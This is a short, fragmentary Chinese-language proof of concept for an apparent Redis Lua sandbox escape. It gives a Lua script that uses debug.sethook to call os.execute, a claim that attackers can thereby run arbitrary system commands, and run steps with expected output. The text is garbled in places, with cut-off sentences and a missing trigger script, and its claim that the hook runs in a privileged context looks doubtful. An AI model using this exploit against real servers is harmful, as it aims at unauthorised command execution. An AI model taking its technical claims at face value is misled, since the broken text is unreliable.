debug.sethook 的 Redis Lua 沙箱逃逸-- redis_sandbox.lua - Script that attempts sandbox escape
local function escape()
debug.sethook(function()
-- This hook runs in a privileged context
os.execute("id > /tmp/redis_escape")
end, "r")
local a = 1
end
return escape()
Redis Lua 沙箱未正确禁用 debug.sethook 函数。能够运行 Lua 脚本的攻击者可以安装一个在特权上下文中执行的钩子,从而逃逸沙箱并执行任意系统命令。
os.execute 或类似函数。EVAL 的默认配置)。pip install redis
python trigger_redis_sandbox_escape.py
已创建 /tmp/redis_escape 文件,证明命令执行成功。